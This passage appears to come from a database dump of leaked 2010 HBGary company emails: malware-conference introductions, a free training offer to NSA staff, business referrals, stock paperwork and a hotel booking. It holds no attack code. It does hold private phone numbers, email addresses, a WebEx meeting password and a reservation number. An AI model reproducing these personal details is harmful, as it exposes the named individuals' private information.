\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav\r\nManchanda\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBusiness Capture &amp; Analytics\r\n\r\nThe SecDev Group\r\n\r\ncomplexity.engaged\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWorld\r\nExchange Plaza\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n45\r\nO&#39;Connor Street, Suite 1150\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOttawa,\r\nOntario K1P 1A4\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOffice: +1\r\n(613) 755-4007\r\nCell:  +1 (613) 806-4081\r\nE-mail: a.manchanda@secdev.ca \r\n\r\n \r\n\r\n\r\n\r\nThis\r\nemail and any attached files are confidential and copyright protected. If you\r\nare not the addressee, any dissemination of this communication is strictly\r\nprohibited. Unless otherwise expressly agreed in writing, nothing stated in\r\nthis communication shall be legally binding.\r\n\r\n \r\n\r\nConsider\r\nthe environment. Please don&#39;t print this e-mail unless you really need to.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn 2010-05-14, at 3:49 PM, Aaron Barr wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\nDate: May 14, 2010\r\n11:14:20 AM EDT\r\nTo: Scott K. Brown &lt;sbrown@dewnet.ncsc.mil&gt;\r\nCc: Nart Villeneuve &lt;nart.villeneuve@utoronto.ca&gt;\r\nSubject: Introduction\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nScott,\r\nLet me introduce Nart Villeneuve.  Nart is the CTO for SecDev.  Most\r\nrecently they have put together and presented some very interesting findings on\r\nthe cyber attacks against the office of the Dali Lama (ghostnet) and some\r\nbroader related attacks (shadownet).  Their investigative techniques are\r\nthorough and would likely provide some good information to the group at the\r\nREBL conference.\r\n\r\nNart,\r\nScott managed the Blue Team at NSA and is putting together this years\r\nconference.  He is looking for some interesting speakers concerning\r\nmalware, malware analysis, threats, integration of capabilities, etc.  I\r\nmentioned to him I thought your talk would be appropriate and engaging.\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;HBGary-VAR Agrmt (6-08)1\r\n(3).doc&gt;&lt;datasheet_DDNA.pdf&gt;&lt;datasheet_Responder\r\npro.pdf&gt;&lt;EA_REcon_FINALDRAFT.pdf&gt;&lt;HBG Malware\r\nReport_FINAL_FINAL.pdf&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2955,'aaron_hbgary_com/2955.html'),(6938,'2010-06-02','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297005030.M708434P14101Q1793.eml','Jmbodma@NSA.gov,r.nissen@radium.ncsc.mil,Jmbodma@NSA.gov','Free HBGary Responder Training - June 22-23','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nBob and Matt,\r\n\r\n&nbsp;\r\n\r\nBob Nissen and I discussed sending 1-2 of your people to a\r\n2-day training class on using Responder Pro for malware analysis. &nbsp;We will not\r\ncharge you anything for the class (it is normally $2500 per person).\r\n\r\n&nbsp;\r\n\r\n&nbsp;Info is attached.&nbsp; Next class is June 22-23 in McLean, VA.&nbsp;\r\nIf you want to go you will need to register with jim@hbgary.com\r\n\r\n&nbsp;\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14778,'aaron_hbgary_com/14778.html'),(6939,'2010-06-02','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297005031.M15274P14101Q1794.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: i lost my cell phone - what is your number?','Hey Aaron,\r\nI just tried calling and your voicemail isn\'t accepting messages.  So I\'m\r\nback on the grid finally! ;)  I got a new phone and things are good to go.\r\nI hope you\'re doing well and kicking ass and enjoying the hot weather.  I\r\njust read your interview on thenewnewinternet.com - mycology?...ha!  Anyhow\r\nI would love to catch up when you have time regarding the communications\r\nstuff etc.  I will be taking tomorrow and Friday off but would love to chat\r\nany time you\'re available.\r\nThx.\r\nRich  \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, May 28, 2010 10:58 AM\r\nTo: Rich Cummings\r\nSubject: Re: i lost my cell phone - what is your number?\r\n\r\nBummer.\r\n719.510.8478\r\n\r\n From my iPhone\r\n\r\nOn May 28, 2010, at 10:44 AM, Rich Cummings  wrote:\r\n\r\n> Hey Aaron,\r\n>\r\n>\r\n>\r\n> I hope you\'re well.  Sorry we haven\'t connected yet.   I ended up\r\n> losing my phone on Wed night to make matters worse.   What is your\r\n> cell number ?\r\n>\r\n>\r\n>\r\n> Thx.\r\n> Rich\r\n\r\n',13093,'aaron_hbgary_com/13093.html'),(6940,'2010-06-02','\"Curt Adams\" <cadams@afcea.org>','/aaron@hbgary.com/new/1297005031.M266340P14101Q1795.eml','aaron@hbgary.com','Your AFCEA Membership','\r\n\r\nYour Membership\r\n\r\nst1\\:*{behavior:url(#ieooui) }\r\n\r\n\r\n\r\n\r\n\r\n /* Style Definitions */\r\n table.MsoNormalTable\r\n	{mso-style-name:\"Table Normal\";\r\n	mso-tstyle-rowband-size:0;\r\n	mso-tstyle-colband-size:0;\r\n	mso-style-noshow:yes;\r\n	mso-style-parent:\"\";\r\n	mso-padding-alt:0in 5.4pt 0in 5.4pt;\r\n	mso-para-margin:0in;\r\n	mso-para-margin-bottom:.0001pt;\r\n	mso-pagination:widow-orphan;\r\n	font-size:10.0pt;\r\n	font-family:\"Times New Roman\";\r\n	mso-ansi-language:#0400;\r\n	mso-fareast-language:#0400;\r\n	mso-bidi-language:#0400;}\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDear Aaron,\r\n\r\n&nbsp;\r\n\r\nThank you for your decision to join AFCEA\r\nInternational.&nbsp; By now you are well into your first year as a member, we hope you have been able to participate in your\r\nChapter&#8217;s activities and are experiencing the full value of AFCEA\r\nmembership.&nbsp; If you haven&#8217;t already done so, we encourage you to\r\ntake the opportunity to get involved today. \r\n\r\n&nbsp;\r\n\r\n\r\nIf you have questions regarding your Chapter&#8217;s activities, please\r\ncontact the&nbsp;Northern Virginia Chapter President Mr. Norris Connelly at novapresident@afceanova.org.\r\n\r\n\r\n&nbsp;\r\n\r\nIf you have questions about your AFCEA membership, please\r\nfeel free to contact our Member Service Center\r\nby Email\r\n\r\n\r\nor by phone at 800-336-4583, extension 6158 , or 703-631-6158\r\nfrom the Washington DC metro area, or +1-703-631-6158 for calls from outside the United States.\r\n\r\n&nbsp;\r\n\r\nWe look forward to continuing to serve you as your\r\nassociation of choice in the government information technology arena.\r\n\r\n&nbsp;\r\n\r\nSincerely,\r\n\r\n&nbsp;\r\n\r\nCurt Adams\r\n\r\n&nbsp;\r\n\r\nDirector\r\n\r\nMember, Chapter and Corporate Services\r\n\r\nAFCEA International\r\n\r\n4400 Fair Lakes Court\r\n\r\nFairfax, VA 22033-3899\r\n\r\n&nbsp;\r\n\r\n(703) 631-6175 office\r\n\r\n(703) 631-6124 fax\r\n\r\ncadams@afcea.org\r\n\r\nAFCEA International, established\r\nin 1946,&nbsp;is a non-profit membership association serving the military,\r\ngovernment, industry, and academia as an ethical forum for advancing\r\nprofessional knowledge and relationships in the fields of communications, IT,\r\nintelligence, and global security.\r\n\r\nFor the most up-to-date information on your association, please\r\nvisit the following links: \r\n\r\nwww.afcea.org \r\n\r\nor \r\n\r\nhttp://www.afcea.org/membership/\r\nfor membership information\r\n\r\nhttp://www.afcea.org/events/ for event\r\ninformation \r\n\r\nhttp://www.afcea.org/education/ for\r\ncourse information \r\n\r\nSIGNAL Magazine http://www.afcea.org/signal \r\n\r\nSIGNAL Connections http://www.afcea.org/signalconnections\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13162,'aaron_hbgary_com/13162.html'),(6941,'2010-06-02','\"Rich Cummings\" <messenger@webex.com>','/aaron@hbgary.com/new/1297005031.M500562P14101Q1796.eml','aaron@hbgary.com','Please join now, meeting in progress: aaron',' Hello Aaron Barr,   Please join my meeting that is currently in progress.   Topic: aaron  Date: Wednesday, June 2, 2010  Time: 3:42 pm, Eastern Daylight Time (New York, GMT-04:00)  Meeting Number: 572 369 679  Meeting Password: ddna    -------------------------------------------------------  To join the online meeting (Now from iPhones too!)  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/e.php?AT=MI&EventID=148549557&UID=1147264327&PW=NMjBlZTdkODI5&RT=MiMxMQ%3D%3D  2. If requested, enter your name and email address.  3. If a password is required, enter the meeting password: ddna  4. Click \"Join\".  5. Follow the instructions that appear on your screen.   To view in other time zones or languages, please click the link:  https://hbgary.webex.com/hbgary/e.php?AT=MI&EventID=148549557&UID=1147264327&PW=NMjBlZTdkODI5&ORT=MiMxMQ%3D%3D   -------------------------------------------------------  To join the audio conference only  -------------------------------------------------------  Call-in toll number (US/Canada): 1-408-792-6300  Global call-in numbers: https://hbgary.webex.com/hbgary/globalcallin.php?serviceType=MC&ED=148549557&tollFree=0   Access code:572 369 679   -------------------------------------------------------  For assistance  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/mc  2. On the left navigation bar, click \"Support\".   You can contact me at:   rich@hbgary.com  1-301-652-8885   Sign up for a free trial of WebEx  http://www.webex.com/go/mcemfreetrial   http://www.webex.com     IMPORTANT NOTICE: This WebEx service includes a feature that allows audio and any documents and other materials exchanged or viewed during the session to be recorded. By joining this session, you automatically consent to such recordings. If you do not consent to the recording, do not join the session.  ',9858,'aaron_hbgary_com/9858.html'),(6942,'2010-06-02','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297005031.M749166P14101Q1797.eml','cscuilla@cox.net,\"Aaron Barr\" <aaron@hbgary.com>','RE: Services opportunity','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nEmail to IOMAXIS account\r\nbounced, so I am trying a personal email I have for Charlie.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Wednesday, June 02, 2010 4:37 PM\r\nTo: \'scuilla@iomaxis.com\'; \'Aaron Barr\'\r\nSubject: Services opportunity\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nCharlie &#8211; Meet Aaron Barr, CEO of HBGary Federal.&nbsp;\r\nTheir mission is gov&#8217;t services.&nbsp; They have all necessary clearances and\r\nare highly skilled in our kinds of work.\r\n\r\n&nbsp;\r\n\r\nAaron &#8211; Meet Charlie Scuilla of IOMAXIS.&nbsp; He works with\r\nBrad Buhr.&nbsp; Charlie wants to discuss an opportunity at IOC.&nbsp; He\r\nsuggested you talk next Monday.\r\n\r\n&nbsp;\r\n\r\nNumbers&#8230;.\r\n\r\nAaron - 719-510-8478\r\n\r\nCharlie - 703-869-9319\r\n\r\n&nbsp;\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp;\r\nHBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2716,'aaron_hbgary_com/2716.html'),(6943,'2010-06-02','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005032.M289141P14101Q1799.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Introduction','---------- Forwarded message ----------\r\nFrom: Kevin Spease \r\nDate: Wed, Jun 2, 2010 at 2:28 PM\r\nSubject: Introduction\r\nTo: Jeff Bardin \r\n\r\n\r\nTed...\r\n\r\nI hope all is going well with you.  All goes well with me... trying to\r\nexpand the business and all (you know the deal).  My kid just\r\ngraduated high school last weekend so I\'m worn out from that.\r\n\r\nAnyway, Ted, the reason I\'m writing you is I wanted to introduce you\r\nto Jeff Bardin.  Jeff is seeking new opportunities and his extensive\r\nIA and Arabic linguistics background seemed congruent with your line\r\nof business.\r\n\r\nGiven his CISO background, he\'s obviously seeking very senior\r\npositions.  So, you likely don\'t have a position BUT perhaps you know\r\nof some places \"in need\" that could use his unique skill set.\r\n\r\nSo, given the long preamble... Ted, I\'d like you to meet, Jeff Bardin.\r\n I hope you two have time to discuss your common ground in the near\r\nfuture.\r\n\r\nKevin\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',7721,'aaron_hbgary_com/7721.html'),(6944,'2010-06-02','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297005032.M54183P14101Q1798.eml','scuilla@iomaxis.com,\"Aaron Barr\" <aaron@hbgary.com>','Services opportunity','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nCharlie &#8211; Meet Aaron Barr, CEO of HBGary\r\nFederal.&nbsp; Their mission is gov&#8217;t services.&nbsp; They have all\r\nnecessary clearances and are highly skilled in our kinds of work.\r\n\r\n&nbsp;\r\n\r\nAaron &#8211; Meet Charlie Scuilla of IOMAXIS.&nbsp; He\r\nworks with Brad Buhr.&nbsp; Charlie wants to discuss an opportunity at\r\nIOC.&nbsp; He suggested you talk next Monday.\r\n\r\n&nbsp;\r\n\r\nNumbers&#8230;.\r\n\r\nAaron - 719-510-8478\r\n\r\nCharlie - 703-869-9319\r\n\r\n&nbsp;\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp;\r\nHBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9870,'aaron_hbgary_com/9870.html'),(6945,'2010-06-02','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297005037.M25469P14101Q1800.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: status of stock paperwork','Aaron here is corrected paperwork\r\n\r\n-----Original Message-----\r\nFrom: Maheen Sadruddin [mailto:maheen@delahousayelaw.com] \r\nSent: Wednesday, June 02, 2010 12:20 PM\r\nTo: Angela De La Housaye; penny@hbgary.com\r\nSubject: RE: status of stock paperwork\r\n\r\nMy apologies Penny. \r\n\r\nAttached are the corrected documents for Ted and Aaron. \r\n\r\nI will await the signed originals. \r\n\r\nThank you, \r\n \r\nMaheen S. Sadruddin\r\nParalegal\r\nmaheen@delahousayelaw.com\r\n925/944-3300\r\n \r\nDe La Housaye & Associates\r\nA Law Corporation\r\nwww.delahousayelaw.com\r\n \r\nWalnut Creek - San Francisco - Los Angeles\r\n \r\nNOTICE – Any tax information or written tax advice contained herein (including attachments) is not intended to be and cannot be used by any taxpayer for the purpose of avoiding tax penalties that may be imposed on the taxpayer.  (The foregoing legend has been affixed pursuant to U.S. Treasury regulations governing tax practice.)\r\n \r\n',5481,'aaron_hbgary_com/5481.html'),(6946,'2010-06-02','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297005037.M498368P14101Q1801.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: JW Marriott San Antonio Hill Country Resort & Spa Reservation Confirmation #87600359','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\nEmail Confirmation\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n&nbsp;\r\n\r\nHere is your reservation for the GFirst Exhibit.&nbsp; The only\r\ninformation I have are the dates&nbsp; August 17 &#8211; August 19 and the hotel info.&nbsp; So\r\nI thought I would be good and make the hotel reservations . &nbsp;&nbsp;They will be contacting\r\nme with in the week with more information for the Expo.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice Manager\r\n\r\nHBGary, Inc.\r\n\r\n3604 Fair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento, CA&nbsp; 95864\r\n\r\nTel:&nbsp; 916-459-4727 ext. 101\r\n\r\nFax: 916-481-1460\r\n\r\nEmail&nbsp; deeann@hbgary.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: \'Marriott Hotels\r\n&amp; Resorts Reservation\' [mailto:reservations@marriott.com] \r\nSent: Wednesday, June 02, 2010 2:10 PM\r\nTo: DEEANN@HBGARY.COM\r\nSubject: JW Marriott San Antonio Hill Country Resort &amp; Spa\r\nReservation Confirmation #87600359\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJW Marriott San Antonio Hill\r\nCountry Resort &amp; Spa 23808 Resort\r\nParkway, \r\nSan Antonio, Texas 78261 USA Phone: 1-210-276-2500 Fax:\r\n1-210-403-3452 \r\n\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  Reservation\r\n  for AARON BARR\r\n  \r\n \r\n \r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  Confirmation Number: 87600359\r\n  \r\n  &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  Check-in: Tuesday,\r\n  August 17, 2010 (04:00 PM) \r\n  &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  Check-out: Thursday,\r\n  August 19, 2010 (11:00 AM) \r\n  \r\n \r\n \r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  View hotel website \r\n  Modify or Cancel reservation\r\n  \r\n  \r\n  \r\n  Driving Directions &gt;&gt;\r\n  \r\n  Maps &amp; Transportation &gt;&gt;\r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\nReservation\r\nConfirmation\r\n\r\nDear AARON BARR,\r\n\r\n\r\nWe are pleased to confirm your reservation with Marriott. Below\r\nis a summary of your booking and room information. We look forward to making\r\nyour stay gratifying and memorable.&nbsp; When you\'re traveling away from home\r\nyou can always count on Marriott.\r\n\r\nJW Marriott San Antonio Hill Country Resort &amp; Spa\r\n\r\n\r\n\r\n\r\n\r\nPlanning Your Trip\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSee what\'s happening in San Antonio\r\nduring your stay \r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCheck out some of San Antonio\'s top\r\nattractions \r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nJoin Us, Help Save the Rainforest. Learn More and Donate Now\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFind a flight:\r\nuncover the best fares \r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nHertz great special rates\r\n\r\n\r\n\r\n\r\n\r\nReservation\r\nDetails\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nConfirmation Number: 87600359\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nYour Resort:\r\nJW Marriott San Antonio Hill Country Resort &amp; Spa\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCheck-in: Tuesday,\r\nAugust 17, 2010 (04:00 PM) \r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCheck-out: Thursday,\r\nAugust 19, 2010 (11:00 AM) \r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nRoom type: Guest room, 1\r\nKing or 2 Double, Juliette balcony\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nNumber of rooms:\r\n1\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nGuests per room:\r\n1\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nGuest name:\r\nAARON BARR\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nReservation confirmed: Wednesday,\r\nJune 2, 2010 (21:09:00 GMT)\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nGuarantee method:\r\nCredit card guarantee, Visa\r\n\r\n\r\n\r\nSpecial\r\nrequest(s): \r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&#8226;1\r\nKing Bed, Guaranteed\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&#8226;2\r\nDay Cancel Policy, Request Noted\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  Summary of Room Charges\r\n  \r\n  \r\n  Cost per night per room (USD)\r\n  \r\n \r\n \r\n  \r\n  Tuesday, August 17, 2010 - Thursday, August 19, 2010 ( 2\r\n  nights ) \r\n  \r\n  \r\n  117.00\r\n  \r\n \r\n \r\n  \r\n  GFIRST \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Estimated government taxes and fees\r\n  \r\n  \r\n  22.94&nbsp;\r\n  \r\n \r\n \r\n  \r\n  Resort fee\r\n  \r\n  \r\n  20.00&nbsp;\r\n  \r\n \r\n \r\n  \r\n  Total for stay (for all rooms) \r\n  \r\n  \r\n  319.89 \r\n  \r\n \r\n \r\n  \r\n  &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  Complimentary on-site parking\r\n  &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  Valet parking, fee: 25 USD daily\r\n  &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  Changes in taxes or fees implemented after booking will affect\r\n  the total room price.\r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nYou may modify or cancel your\r\nreservation online&nbsp;(see details below), or call 1-800-228-9290\r\nin the US and Canada. Elsewhere, call our&nbsp;worldwide telephone numbers.\r\n\r\nContact us&nbsp;if you\r\nhave questions about your reservation.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  \r\n   \r\n   \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n   \r\n   \r\n   \r\n  \r\n   \r\n   \r\n  \r\n  \r\n  \r\n  \r\n  Up to 4 Free Nights!Earn 22,500 Bonus Points\r\n  and a Free Night Stay &#8212; enough for 4 Free Nights &#8212; with the Marriott Rewards\r\n  Credit Card. Reward yourself. \r\n  \r\n  Apply Now\r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHotel Services &amp; Amenities\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nHigh-speed Internet in guest rooms\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nBusiness center\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFitness center on-site\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nOutdoor pool\r\n\r\nFor a complete list of services and\r\namenities, download the hotel fact sheet \r\n\r\n\r\n\r\n\r\n\r\nTravel Alerts\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCurrently, passport or approved travel\r\ndocument are required for those traveling by air, land or sea to enter/re-enter\r\nthe U.S.A. from Canada, Mexico, Bermuda, and the Caribbean. Get details\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPlease Note: All Marriott hotels in the\r\nUSA and Canada, are committed to a smoke-free policy. \r\nLearn more\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nThe Responsible Tourist and Traveler\r\nA practical\r\nguide to help you make your trip an enriching experience\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nNew Requirements for Travel to the USA\r\nfrom Visa Waiver Program Countries. Learn 